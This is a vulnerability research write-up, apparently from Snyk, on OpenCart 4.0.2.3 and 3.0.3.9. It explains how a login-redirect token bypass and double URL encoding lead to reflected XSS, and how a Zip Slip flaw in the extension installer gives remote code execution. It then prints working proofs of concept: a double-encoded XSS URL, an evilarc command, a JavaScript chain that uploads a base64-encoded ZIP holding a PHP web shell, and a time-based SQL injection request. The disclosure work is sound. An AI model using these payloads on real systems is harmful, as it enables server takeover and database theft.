OpenCart vulnerability research (v4.0.2.3/3.0.3.9)

Calum Hutton
2025年1月14日
0 分で読めますHaving seen OpenCart in the news and being unfamiliar with it, I was interested in learning how the long-running (first released in April 2010) open source e-commerce CMS was implemented and its overall security.
Getting to know the reported vulnerability
The disagreement between the researcher and the maintainer stemmed from a common justification. Since the affected feature resided purely in admin functionality, and only admins - highly privileged and trusted users - could access it, the reported vulnerability wasn’t considered a security issue. I was interested to see if I could find a new vulnerability within admin functionality that low or unprivileged users could exploit.
The hunt
I started getting to know OpenCart from the inside: looking at the code of version 4.0.2.3, understanding how the application was implemented and structured, and what security mechanisms were in place.
A common issue in web applications is Cross-Site Scripting (XSS), and because of its prevalence and ability to transcend privilege boundaries, I mainly focused on these. Several mechanisms in OpenCart meant finding one that would not be such a trivial task.
Encode all the things
The first security mechanism I came across was a broad attempt at sanitization of user input by passing all PHP HTTP superglobals ($GET, $_POST, $_REQUEST, etc) through htmlspecialchars within the Opencart\System\Library\Request class:
namespace Opencart\System\Library;
class Request {
...
public function __construct() {
$this->get = $this->clean($_GET);
$this->post = $this->clean($_POST);
$this->cookie = $this->clean($_COOKIE);
$this->files = $this->clean($_FILES);
$this->server = $this->clean($_SERVER);
}
public function clean(mixed $data): mixed {
if (is_array($data)) {
foreach ($data as $key => $value) {
unset($data[$key]);
$data[$this->clean($key)] = $this->clean($value);
}
} else {
$data = trim(htmlspecialchars($data, ENT_COMPAT, 'UTF-8'));
}
return $data;
}
}
The Request class is a core component of the OpenCart application and is used in controllers and other places to access input from HTTP parameters. When the controller gets input with code such as:
class Category extends \Opencart\System\Engine\Controller {
public function index(): void {
...
if (isset($this->request->get['sort'])) {
$url .= '&sort=' . $this->request->get['sort'];
}
If a user sends a sort HTTP parameter of <b>Hello!</b>
, the Request class encodes the angle brackets as HTML entities before they are processed by the controller, so the actual input the controller sees is: <b>Hello!</b>. This prevents any HTML in request parameters from being rendered as if HTML is reflected on the page, which is one mitigation for XSS attacks.
Tokens all the way down
Every authenticated request (in customer or admin functionality) includes a user_token URL parameter, which is generated when the user (customer or admin) logs into the system. Each token is unique to that user per login and cannot feasibly be guessed or brute-forced. This presents a problem for reflected XSS attacks in particular, as the attacker can’t include a valid user token in the URL to send to a victim, so any XSS vulnerability within customer or admin functionality cannot be triggered directly.
Redirect for the win
To find an XSS issue in OpenCart, we need to bypass the two security mechanisms above. First, I concentrated on the requirement for a valid user token, as without a bypass, there was no chance of finding a feasible reflected XSS attack. I experimented with the parameter and made an interesting discovery - when no user_token parameter was present in the URL, the user is prompted to log in with the original requested URL saved in a redirect login form parameter. Upon logging in, the user is automatically redirected to the original URL with a freshly generated user_token parameter.
As such, bypassing the requirement for a valid user token in the payload is possible because, by not including the parameter, the user will be asked to log in. If they log in, a token will be generated, and they will be redirected to the URL sent by the attacker, including the valid user token. The important caveat is that this is no longer a direct XSS attack and requires the user to log in to the system.
Encode me once, encode me twice
For the second mechanism, a few ways to bypass the automatic encoding of HTML with htmlspecialchars sprang to mind:
If the input is in base64, it will not be encoded into HTML entities
If the input is URL-encoded, it will not be encoded into HTML entities
If the input is explicitly decoded with html_entity_decode or htmlspecialchars_decode
There wasn't much usage of base64 within the application, and though there were many usages of html_entity_decode, I didn't find a case where it was being used, which led to an XSS issue.
Next, I looked for a bypass via double URL encoding (https://owasp.org/www-community/Double_Encoding), which meant looking for usages of urldecode within the application. By double encoding the XSS payload, if there is a place where it is decoded once with urldecode, the payload will still be URL-encoded, bypassing the htmlspecialchars encoding in the Request class but still being accepted and processed by the application.
Reflected XSS
The first vulnerable usage of urldecode was within the list method of the admin Opencart\Admin\Controller\Common\FileManager controller class. The redirect HTTP parameter is URL decoded once and set in the $data
array to be passed into the view template:
namespace Opencart\Admin\Controller\Common;
class FileManager extends \Opencart\System\Engine\Controller {
...
public function list(): void {
...
if (isset($this->request->get['directory'])) {
$data['directory'] = urldecode($this->request->get['directory']);
} else {
$data['directory'] = '';
}
A Proof-of-Concept payload, combining this with the user_token bypass, was created:
/admin/index.php?route=common/filemanager.list&directory=demo%2522%253E%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E%253Cinput%2Btype%253D%2522hidden
Note: the double URL encoded payload was originally: demo"><script>alert(1)</script><input type="hidden
After following the link and logging in as an admin, the payload immediately executed, confirming the first XSS issue identified (CVE-2024-21516).

A similar XSS issue involving urldecode was identified that affected customer-level functionality (CVE-2024-21517).
Going deeper
Now that there was a way for an attacker to trigger an XSS issue within the admin functionality of OpenCart, I was interested in the potential impact of it, assuming that the victim user had admin privileges and the XSS could be leveraged to perform any action on their behalf. I spent some time exploring the admin functionality, looking for ways it could be abused, and some functionality stood out in particular:
Marketplace installer
Database backup/restore
Zip slip
I came across something interesting while reviewing the marketplace installer code. OpenCart extensions are packaged in ZIP files, and the code concerned with processing and extracting these seemed to take the name of the file within the ZIP and use it in the path for the destination file without sanitization (see the following code snippet of the Opencart\Admin\Controller\Marketplace\Installer class, the $destination variable is determined by the $zip->getNameIndex() call):
namespace Opencart\Admin\Controller\Marketplace;
class Installer extends \Opencart\System\Engine\Controller {
...
public function install(): void {
...
if (!$json) {
// Unzip the files
$zip = new \ZipArchive();
if ($zip->open($file)) {
$total = $zip->numFiles;
$limit = 200;
$start = ($page - 1) * $limit;
$end = $start > ($total - $limit) ? $total : ($start + $limit);
// Check if any of the files already exist.
for ($i = $start; $i < $end; $i++) {
$source = $zip->getNameIndex($i);
$destination = str_replace('\\', '/', $source);
This raised the potential for Zip Slip (https://security.snyk.io/research/zip-slip-vulnerability), where a malicious ZIP file can be created with the files inside the ZIP containing path traversal sequences to traverse outside of the intended output path. This can lead to the ability to write or overwrite files at arbitrary paths on the backend system, depending on permissions.
I tested this theory by creating a fake OpenCart extension ZIP file acme.ocmod.zip containing an install.json file to describe the extension:
{
"name": "My extension",
"version": "1.0",
"author": "Acme Corp.",
"link": "https://www.acme.com",
"instruction": "Have fun!"
}
Then I used a tool from GitHub (https://github.com/ptoomey3/evilarc) to add a shell script to the ZIP file containing two path traversal sequences (because the web root of the application was two levels below the script path):
python2 evilarc.py oc.php -f acme.ocmod.zip -d 2 -o unix
Upon installing the fake extension, the shell script was extracted outside the intended path to the web root, confirming that the vulnerability was exploitable (CVE-2024-21518) and allowing for Remote Command Execution (RCE) on the backend server. Also of note, uninstalling and removing the malicious extension does not remove the shell script from the web root, so it's possible for it to persist on the system after an attempted cleanup.
It's also possible to achieve arbitrary file creation/RCE via the database restore functionality in combination with a file upload (CVE-2024-21519).
Putting it together
Now, there was a way to bypass the security mechanisms to trigger XSS in the admin functionality and exploit Zip Slip to achieve RCE. I created a JavaScript PoC to automate the attack. The script can be hosted anywhere on the internet, with the initial XSS vulnerability being used to include the script:
// Store host
let host = 'https://mywebstore.com'
// Base64 encoded content of the malicious extension zip
let extB64 = 'UEsDBBQAAAAAAKcGglcavkeoQwAAAEMAAAAMAAAALi4vLi4vb2MucGhwPD9waHAgCgppZiAoaXNzZXQoJF9HRVRbJ2MnXSkpIHsKICAgIGVjaG8gc3lzdGVtKCRfR0VUWydjJ10pOwp9Cgo/PlBLAwQUAwAACABojIFXziDSgW4AAACKAAAADAAAAGluc3RhbGwuanNvbi2MMQ7CMAxF957CeEYprN0QCwuHiCKjRhCnSpyGqurdWysd/3tPf+0AkG0gHADfC9BfiLOPjFc1MyUdKu/m1pgtMsak6OECwTOmyTTz8/xVPopMeej7WquxR2NcDK3wnCUVJ+fny84En8IX7LYdUEsBAhQDFAAAAAAApwaCVxq+R6hDAAAAQwAAAAwAAAAAAAAAAAAAALSBAAAAAC4uLy4uL29jLnBocFBLAQI/AxQDAAAIAGiMgVfOINKBbgAAAIoAAAAMACQAAAAAAAAAIICkgW0AAABpbnN0YWxsLmpzb24KACAAAAAAAAEAGACAy2m+fCTaAQDBQ2aeJNoBAAXQMZ4k2gFQSwUGAAAAAAIAAgCYAAAABQEAAAAA'
async function poc(token) {
console.log(`Got user token :) [${token}]`)
let uploadEndpoint = `${host}/admin/index.php?route=marketplace/installer.upload&user_token=${token}`;
let blob = new Blob([Uint8Array.from(atob(extB64), c => c.charCodeAt(0))], {type: 'application/octet-stream'});
let form = new FormData();
form.append("file", blob, "acmeext.ocmod.zip");
let response = await fetch(uploadEndpoint, {
method: "POST",
mode: "no-cors",
body: form,
});
let json = await response.json()
console.log(`Got upload response: ${JSON.stringify(json)}`)
if (json.hasOwnProperty("success")) {
console.log('Uploaded extension, attempting to install..');
let installId = 5;
let installCheckEndpoint = `${host}/oc.php`;
let status = -1;
while ((status = (await fetch(installCheckEndpoint)).status) != 200 && installId < 50) {
console.log(`Attempting install with id: ${installId}`)
let installEndpoint = `${host}/admin/index.php?route=marketplace/installer.install&extension_install_id=${installId}&user_token=${token}`;
let response = await fetch(installEndpoint);
let json = await response.json()
console.log(`Got install response with id [${installId}]: ${JSON.stringify(json)}`)
installId++;
}
console.log(status == 200 ? ":)" : ":(")
} else {
console.log('Failed to upload extension :(');
}
}
// Get the user token
let userToken = new URLSearchParams(window.location.search).get("user_token") ?? null;
if (userToken) {
// Only continue with a user token
poc(userToken)
} else {
console.log('Couldnt get user token :(');
}
Retro bonus
While looking at older versions of OpenCart to determine if the issues were also present in version 3.0.3.9 of the application, I came across another unrelated issue that isn’t present in version 4 of the application - unauthenticated SQL Injection (SQLi).
The Divido payment module is an extension included by default in version 3.0.3.9 (the last version of the 3.x branch). By default, it is not installed. If installed, an unauthenticated SQLi vulnerability is exposed, allowing anonymous website users to access and dump the application's backend database. The issue is caused by an insecure SQL query in the getLookupByOrderId method of the ModelExtensionPaymentDivido class. As shown in the snippet below, the order_id parameter is not sanitized before being used in the SQL query:
class ModelExtensionPaymentDivido extends Model {
...
public function getLookupByOrderId($order_id) {
return $this->db->query("SELECT * FROM `" . DB_PREFIX . "divido_lookup` WHERE `order_id` = " . $order_id);
}
The controller that calls this method, ControllerExtensionPaymentDivido, also does not perform sanitization of the user input:
class ControllerExtensionPaymentDivido extends Controller {
...
public function update() {
$this->load->language('extension/payment/divido');
$this->load->model('extension/payment/divido');
$this->load->model('checkout/order');
$data = json_decode(file_get_contents('php://input'));
if (!isset($data->status)) {
$this->response->setOutput('');
return;
}
$lookup = $this->model_extension_payment_divido->getLookupByOrderId($data->metadata->order_id);
To confirm this (CVE-2024-21514), I used the following PoC HTTP request, which triggers a five-second response delay. Note that there are no Cookies or other authorization headers or parameters present:
POST http://localhost/index.php?route=extension/payment/divido/updateHTTP/1.1
host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/json
content-length: 44
{"status":true,"metadata":{"order_id":"1 AND (SELECT 6684 FROM (SELECT(SLEEP(5)))mUHr)"}}
Secure your Gen AI development with Snyk
Create security guardrails for any AI-assisted development.